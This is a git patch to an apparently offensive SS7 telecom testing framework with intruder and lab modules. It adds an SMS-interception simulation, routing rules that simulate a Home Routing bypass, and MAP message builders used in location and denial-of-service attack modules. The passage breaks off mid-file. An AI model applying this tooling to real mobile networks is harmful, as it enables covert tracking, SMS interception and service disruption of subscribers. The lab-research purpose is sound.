From 3b540aae375fc67accda5f4b70c95723c69d7155 Mon Sep 17 00:00:00 2001 From: Ayman ElSherif <41875662+AymanElSherif@users.noreply.github.com> Date: Mon, 10 Jan 2022 10:41:52 +0200 Subject: [PATCH] feat: Adding simulation for SMS interception fix: Fixing invalid RoutingIndicator that affected Double MAP bypass simulation --- build/scripts/build-docker.sh | 18 +-- .../connectivity/ss7/adapter/SccpAdapter.java | 98 +++++++++++----- .../callhandling/SriPayloadWrapper.java | 6 +- .../camel/CamelConnectPayloadWrapper.java | 6 +- .../location/PslPayloadWrapper.java | 6 +- .../location/SriLcsPayloadWrapper.java | 6 +- .../mobility/AtiPayloadWrapper.java | 6 +- .../mobility/CLPayloadWrapper.java | 23 +++- .../mobility/DsdPayloadWrapper.java | 6 +- .../mobility/IsdPayloadWrapper.java | 6 +- .../mobility/PsiPayloadWrapper.java | 6 +- .../mobility/PurgeMsPayloadWrapper.java | 6 +- .../mobility/RestoreDataPayloadWrapper.java | 6 +- .../mobility/SaiPayloadWrapper.java | 6 +- .../SendIdentificationPayloadWrapper.java | 6 +- .../mobility/UlPayloadWrapper.java | 6 +- .../oam/SendImsiPayloadWrapper.java | 6 +- .../packet/SriGprsPayloadWrapper.java | 6 +- .../payloadwrapper/sms/FsmPayloadWrapper.java | 6 +- .../ReportSmDeliveryStatusPayloadWrapper.java | 6 +- .../sms/SriSmPayloadWrapper.java | 6 +- .../event/model/mobility/ClRequest.java | 10 ++ .../mobility/details/CancellationType.java | 52 +++++++++ .../event/model/sms/SriSmRequest.java | 6 +- .../entities/payload/mobility/ClPayload.java | 9 +- .../ss7/entities/payload/sms/FsmPayload.java | 16 +++ .../intruder/ss7/gateway/PayloadMapper.java | 5 +- .../handler/MapMobilityServiceHandler.java | 10 +- .../gateway/handler/MapSmsServiceHandler.java | 9 +- .../handler/model/mobility/ClRequestImpl.java | 5 +- .../handler/model/sms/SriSmRequestImpl.java | 4 +- .../ss7/usecases/attacks/dos/DosClModule.java | 9 +- .../usecases/model/Ss7ModuleConstants.java | 4 +- .../com/rodan/lab/ss7/hlr/main/cli/Main.java | 2 +- .../model/Ss7SimulatorOptionsFactory.java | 2 +- .../UlResponderSimOptions.java | 4 +- .../SmsRoutingInfoSimulator.java | 4 +- .../UlResponderSimulator.java | 38 +++++-- .../usecases/Ss7SimulatorConstants.java | 1 + .../com/rodan/lab/ss7/msc/main/cli/Main.java | 5 + .../{ => location}/LocationPslSimOptions.java | 4 +- .../model/mobility/ClResponderSimOptions.java | 42 +++++++ .../location/LocationPslSimulator.java | 4 +- .../model/Ss7SimulatorOptionsFactory.java | 6 +- .../mobility/ClResponderSimulator.java | 107 ++++++++++++++++++ .../com/rodan/library/model/Constants.java | 1 + .../java/com/rodan/library/util/Util.java | 4 + 47 files changed, 511 insertions(+), 99 deletions(-) create mode 100644 src/intruder/ss7/entities/src/main/java/com/rodan/intruder/ss7/entities/event/model/mobility/details/CancellationType.java rename src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/model/{infogathering => mobility}/UlResponderSimOptions.java (93%) rename src/lab/ss7/hlr/usecases/src/main/java/com/rodan/lab/ss7/hlr/usecases/simulation/{infogathering => mobility}/UlResponderSimulator.java (78%) rename src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/{ => location}/LocationPslSimOptions.java (92%) create mode 100644 src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/msc/usecases/model/mobility/ClResponderSimOptions.java create mode 100644 src/lab/ss7/msc/usecases/src/main/java/com/rodan/lab/ss7/vlr/usecases/simulation/mobility/ClResponderSimulator.java diff --git a/build/scripts/build-docker.sh b/build/scripts/build-docker.sh index d5b9cca..76959bc 100644 --- a/build/scripts/build-docker.sh +++ b/build/scripts/build-docker.sh @@ -55,26 +55,26 @@ fi cd "${RODAN_HOME}" # Build jSS7 stack extentions -run_command "docker run -it --rm --name stack-builder --volume $ASN_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true -Dcheckstyle.skip" -run_command "docker run -it --rm --name stack-builder --volume $SCCP_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true -Dcheckstyle.skip" -run_command "docker run -it --rm --name stack-builder --volume $TCAP_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true -Dcheckstyle.skip" -run_command "docker run -it --rm --name stack-builder --volume $MAP_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true -Dcheckstyle.skip" +run_command "docker run -it --rm --name stack-builder --volume $ASN_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true -Dcheckstyle.skip" +run_command "docker run -it --rm --name stack-builder --volume $SCCP_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true -Dcheckstyle.skip" +run_command "docker run -it --rm --name stack-builder --volume $TCAP_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true -Dcheckstyle.skip" +run_command "docker run -it --rm --name stack-builder --volume $MAP_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true -Dcheckstyle.skip" # Build jDiameter stack extentions -run_command "docker run -it --rm --name stack-builder --volume $JDIAMETER_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true -Dcheckstyle.skip" +run_command "docker run -it --rm --name stack-builder --volume $JDIAMETER_STACK_EXTENSION_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true -Dcheckstyle.skip" # Build Library Module -run_command "docker run -it --rm --name rodan-builder --volume $LIBRARY_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true" +run_command "docker run -it --rm --name rodan-builder --volume $LIBRARY_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true" # Build Connectivity Module -run_command "docker run -it --rm --name rodan-builder --volume $CONNECTIVITY_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true" +run_command "docker run -it --rm --name rodan-builder --volume $CONNECTIVITY_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true" # Build Intruder Module -run_command "docker run -it --rm --name rodan-builder --volume $INTRUDER_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true" +run_command "docker run -it --rm --name rodan-builder --volume $INTRUDER_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true" # Build Lab Module -run_command "docker run -it --rm --name rodan-builder --volume $LAB_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn install -Dmaven.test.skip=true" +run_command "docker run -it --rm --name rodan-builder --volume $LAB_MODULE_PATH:/usr/src/app --volume $MAEVEN_REPO:/root/.m2 -w /usr/src/app maven:3.8.4-openjdk-17 mvn clean install -Dmaven.test.skip=true" run_command "cd ${DOCKER_HOME}" diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/adapter/SccpAdapter.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/adapter/SccpAdapter.java index 6f01d22..c35f783 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/adapter/SccpAdapter.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/adapter/SccpAdapter.java @@ -118,7 +118,6 @@ private void initialize(M3uaAdapter m3UaAdapter) throws SystemException { } private void addRemoteEndpoints() throws SystemException { - // TODO IMP: STP: check of this is required for STP only or for all nodes int networkIndicator; var peerNodeList = new ArrayList(); networkIndicator = Integer.valueOf(nodeConfig.getSs7Association().getNetworkIndicator()); @@ -275,7 +274,8 @@ protected void addGttRules() throws SystemException { var factory = getParamFactory(); var router = getRouter(); - var translationType = Constants.TRANSLATION_TYPE_NOT_USED; + var defaultTt = Constants.TRANSLATION_TYPE_NOT_USED; + var trustedNodeTt = Constants.TRANSLATION_TYPE_TRUSTED_NODE; var numberingPlan = NumberingPlan.ISDN_TELEPHONY; var e214NumberingPlan = NumberingPlan.ISDN_MOBILE; EncodingScheme encodingScheme = null; // use default encoding scheme (even/odd BCD) @@ -288,22 +288,22 @@ protected void addGttRules() throws SystemException { var localPc = Integer.valueOf(nodeConfig.getSs7Association().getLocalNode().getPointCode()); // TODO IMP TRX: STP: Define subscriber's MSISDN prefix instead of wildcard var wildcardGt = factory.createGlobalTitle(Constants.SCCP_DIGITS_PATTERN_WILD_CARD_ALL, - translationType, numberingPlan, encodingScheme, natureOfAddress); + defaultTt, numberingPlan, encodingScheme, natureOfAddress); var wildcardGtE214 = factory.createGlobalTitle(Constants.SCCP_DIGITS_PATTERN_WILD_CARD_ALL, - translationType, e214NumberingPlan, encodingScheme, natureOfAddress); + defaultTt, e214NumberingPlan, encodingScheme, natureOfAddress); // Adding GTT rules for STP node if (nodeConfig instanceof StpNodeConfig cfg) { // Translate all incoming messages with peer GT to peer nodes. for (var peerNode : cfg.getSs7Association().getPeerNodes()) { var peerGt = factory.createGlobalTitle(peerNode.getGlobalTitle(), - translationType, numberingPlan, encodingScheme, natureOfAddress); + defaultTt, numberingPlan, encodingScheme, natureOfAddress); var peerPc = Integer.valueOf(peerNode.getPointCode()); + matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + peerGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, peerGt, peerPc, Constants.SCCP_SSN_NOT_PRESENT); translationAddressId = addIfNotExist(translationAddress); - matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, - peerGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); // OriginationType.LOCAL means match rules only on messages generated locally by this node // OriginationType.REMOTE means match rules only on messages received from a remote node @@ -316,6 +316,20 @@ protected void addGttRules() throws SystemException { Constants.SCCP_MASK_REPLACE, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, null, 0, null); rulesIndex++; + + // Translate all incoming messages with peer GT and TRANSLATION_TYPE_TRUSTED_NODE to peer nodes. + var peerGtTrustedNode = factory.createGlobalTitle(peerNode.getGlobalTitle(), + trustedNodeTt, numberingPlan, encodingScheme, natureOfAddress); + matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + peerGtTrustedNode, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); + translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + peerGt, peerPc, Constants.SCCP_SSN_NOT_PRESENT); // Only STP should add TRANSLATION_TYPE_TRUSTED_NODE + translationAddressId = addIfNotExist(translationAddress); + logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); + router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.REMOTE, matchPattern, + Constants.SCCP_MASK_REPLACE, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, + null, 0, null); + rulesIndex++; } // Translate all incoming messages targeted to subscriber's MSISDN range to HLR @@ -323,28 +337,28 @@ protected void addGttRules() throws SystemException { var hlrNode = ((StpNodeConfig) nodeConfig).getSs7Association().getPeerNodes().stream() .filter(node -> node.getGlobalTitle().equals(hlrGtStr)).findFirst().get(); var hlrGt = factory.createGlobalTitle(hlrNode.getGlobalTitle(), - translationType, numberingPlan, encodingScheme, natureOfAddress); + defaultTt, numberingPlan, encodingScheme, natureOfAddress); var hlrPc = Integer.valueOf(hlrNode.getPointCode()); + matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + wildcardGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); // DCP is not used in matching translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, hlrGt, hlrPc, Constants.SCCP_SSN_NOT_PRESENT); translationAddressId = addIfNotExist(translationAddress); - matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, - wildcardGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); // DCP is not used in matching logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.REMOTE, matchPattern, Constants.SCCP_MASK_REPLACE, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, null, 0, null); rulesIndex++; - // Translate all incoming messages targeted to subscriber's IMSI (E.214) to HLR - // to simulate Home Routing bypass - var e214HlrGt = factory.createGlobalTitle(hlrNode.getGlobalTitle(), - translationType, e214NumberingPlan, encodingScheme, natureOfAddress); - translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, - e214HlrGt, hlrPc, Constants.SCCP_SSN_NOT_PRESENT); - translationAddressId = addIfNotExist(translationAddress); + // Translate all incoming messages targeted to subscriber's IMSI (E.214) to HLR changing TT to + // TRANSLATION_TYPE_TRUSTED_NODE to simulate Home Routing bypass + var hlrGtTrustedNode = factory.createGlobalTitle(hlrNode.getGlobalTitle(), trustedNodeTt, + numberingPlan, encodingScheme, natureOfAddress); matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, wildcardGtE214, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); + translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + hlrGtTrustedNode, hlrPc, Constants.SCCP_SSN_NOT_PRESENT); + translationAddressId = addIfNotExist(translationAddress); logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.REMOTE, matchPattern, Constants.SCCP_MASK_REPLACE, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, @@ -353,16 +367,30 @@ protected void addGttRules() throws SystemException { } else { // Adding GTT rules for Intruder and other Lab nodes (HLR, VLR/MSC) - // Translate all outgoing messages with 'routing based on GT' to peer node SPC (STP) + // Translate all outgoing messages to peer node SPC (STP) var localGt = factory.createGlobalTitle(((SepNodeConfig) nodeConfig).getSs7Association() - .getLocalNode().getGlobalTitle(), translationType, numberingPlan, encodingScheme, natureOfAddress); + .getLocalNode().getGlobalTitle(), defaultTt, numberingPlan, encodingScheme, natureOfAddress); var peerNode = ((SepNodeConfig) nodeConfig).getSs7Association().getPeerNode(); var peerPc = Integer.valueOf(peerNode.getPointCode()); + matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + wildcardGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, wildcardGt, peerPc, Constants.SCCP_SSN_NOT_PRESENT); translationAddressId = addIfNotExist(translationAddress); + logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); + router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.LOCAL, matchPattern, + Constants.SCCP_MASK_KEEP, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, + null, 0, null); + rulesIndex++; + + // Translate all outgoing messages with TRANSLATION_TYPE_TRUSTED_NODE to peer node SPC (STP) + var wildcardGtTrustedNode = factory.createGlobalTitle(Constants.SCCP_DIGITS_PATTERN_WILD_CARD_ALL, + trustedNodeTt, numberingPlan, encodingScheme, natureOfAddress); matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, - wildcardGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); + wildcardGtTrustedNode, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); + translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + wildcardGt, peerPc, Constants.SCCP_SSN_NOT_PRESENT); + translationAddressId = addIfNotExist(translationAddress); logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.LOCAL, matchPattern, Constants.SCCP_MASK_KEEP, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, @@ -370,11 +398,11 @@ protected void addGttRules() throws SystemException { rulesIndex++; // Translate incoming messages with local GT to local node SPC - translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_DPC_AND_SSN, - localGt, localPc, Constants.SCCP_SSN_NOT_PRESENT); - translationAddressId = addIfNotExist(translationAddress); matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, localGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); + translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + localGt, localPc, Constants.SCCP_SSN_NOT_PRESENT); + translationAddressId = addIfNotExist(translationAddress); logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.REMOTE, matchPattern, Constants.SCCP_MASK_REPLACE, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, @@ -382,21 +410,35 @@ protected void addGttRules() throws SystemException { rulesIndex++; if (nodeConfig instanceof LabNodeConfig cfg) { + // Translate incoming messages with local GT and TRANSLATION_TYPE_TRUSTED_NODE to local node SPC + var localGtTrustedNode = factory.createGlobalTitle(((SepNodeConfig) nodeConfig) + .getSs7Association().getLocalNode().getGlobalTitle(), trustedNodeTt, numberingPlan, + encodingScheme, natureOfAddress); + matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + localGtTrustedNode, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); + translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + localGtTrustedNode, localPc, Constants.SCCP_SSN_NOT_PRESENT); + translationAddressId = addIfNotExist(translationAddress); + logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); + router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.REMOTE, matchPattern, + Constants.SCCP_MASK_REPLACE, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, + null, 0, null); + rulesIndex++; + // Translate incoming messages with local GT E.214 to local node SPC var e214LocalGt = factory.createGlobalTitle(((SepNodeConfig) nodeConfig).getSs7Association() - .getLocalNode().getGlobalTitle(), translationType, e214NumberingPlan, encodingScheme, natureOfAddress); - translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_DPC_AND_SSN, - e214LocalGt, localPc, Constants.SCCP_SSN_NOT_PRESENT); - translationAddressId = addIfNotExist(translationAddress); + .getLocalNode().getGlobalTitle(), defaultTt, e214NumberingPlan, encodingScheme, natureOfAddress); matchPattern = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, e214LocalGt, Constants.SCCP_SPC_NOT_PRESENT, Constants.SCCP_SSN_NOT_PRESENT); + translationAddress = factory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, + e214LocalGt, localPc, Constants.SCCP_SSN_NOT_PRESENT); + translationAddressId = addIfNotExist(translationAddress); logger.debug("Adding GTT matchPattern: [" + matchPattern + "], translationAddress: [" + translationAddress + "]"); router.addRule(rulesIndex, RuleType.SOLITARY, null, OriginationType.REMOTE, matchPattern, Constants.SCCP_MASK_REPLACE, translationAddressId, Constants.SCCP_ROUTING_ADDRESS_ID_NOT_USED, null, 0, null); } } - logger.debug("GTT rules added successfully."); } catch (Exception e) { diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/callhandling/SriPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/callhandling/SriPayloadWrapper.java index 9886dc7..f61b227 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/callhandling/SriPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/callhandling/SriPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -78,7 +79,10 @@ public MAPDialogCallHandling generateCarrier() throws SystemException { var calledGtStr = StringUtils.isBlank(getTargetHlrGt()) ? getMsisdn() : getTargetHlrGt(); var calledGt = sccpFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/camel/CamelConnectPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/camel/CamelConnectPayloadWrapper.java index 0cae1e9..169bddd 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/camel/CamelConnectPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/camel/CamelConnectPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -80,7 +81,10 @@ public CAPDialogCircuitSwitchedCall generateCarrier() throws SystemException { var calledGtStr = getTargetMscGt(); var calledGt = sccpFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/PslPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/PslPayloadWrapper.java index c1ca4ff..b1f63b0 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/PslPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/PslPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -89,7 +90,10 @@ public MAPDialogLsm generateCarrier() throws SystemException { callingGt, callingPc, getLocalSsn()); var calledGt = sccpParamFactory.createGlobalTitle(getTargetMscGt(), TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpParamFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/SriLcsPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/SriLcsPayloadWrapper.java index da7f150..d05fedd 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/SriLcsPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/location/SriLcsPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import com.rodan.library.model.error.ErrorCode; import com.rodan.library.model.error.SystemException; @@ -84,7 +85,10 @@ public MAPDialogLsm generateCarrier() throws SystemException { getTargetHlrGt(); var calledGt = sccpParamFactory.createGlobalTitle(calledGtStr, TRANSLATION_TYPE, ISDN_TELEPHONY_INDICATOR, ENCODING_SCHEME, NATURE_OF_ADDRESS); - var calledPc = Integer.valueOf(((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode().getPointCode()); + var peerNode = (getNodeConfig() instanceof IntruderNodeConfig) ? + ((IntruderNodeConfig) getNodeConfig()).getSs7Association().getPeerNode() : + ((LabNodeConfig) getNodeConfig()).getSs7Association().getPeerNode(); + var calledPc = Integer.valueOf(peerNode.getPointCode()); var calledParty = sccpParamFactory.createSccpAddress(RoutingIndicator.ROUTING_BASED_ON_GLOBAL_TITLE, calledGt, calledPc, getRemoteSsn()); diff --git a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/AtiPayloadWrapper.java b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/AtiPayloadWrapper.java index bd29f30..44e13c0 100644 --- a/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/AtiPayloadWrapper.java +++ b/src/connectivity/connectivity/ss7/src/main/java/com/rodan/connectivity/ss7/payloadwrapper/mobility/AtiPayloadWrapper.java @@ -31,6 +31,7 @@ import com.rodan.library.model.Constants; import com.rodan.library.model.annotation.Payload; import com.rodan.library.model.config.node.config.IntruderNodeConfig; +import com.rodan.library.model.config.node.config.LabNodeConfig; import com.rodan.library.model.config.node.config.NodeConfig; import 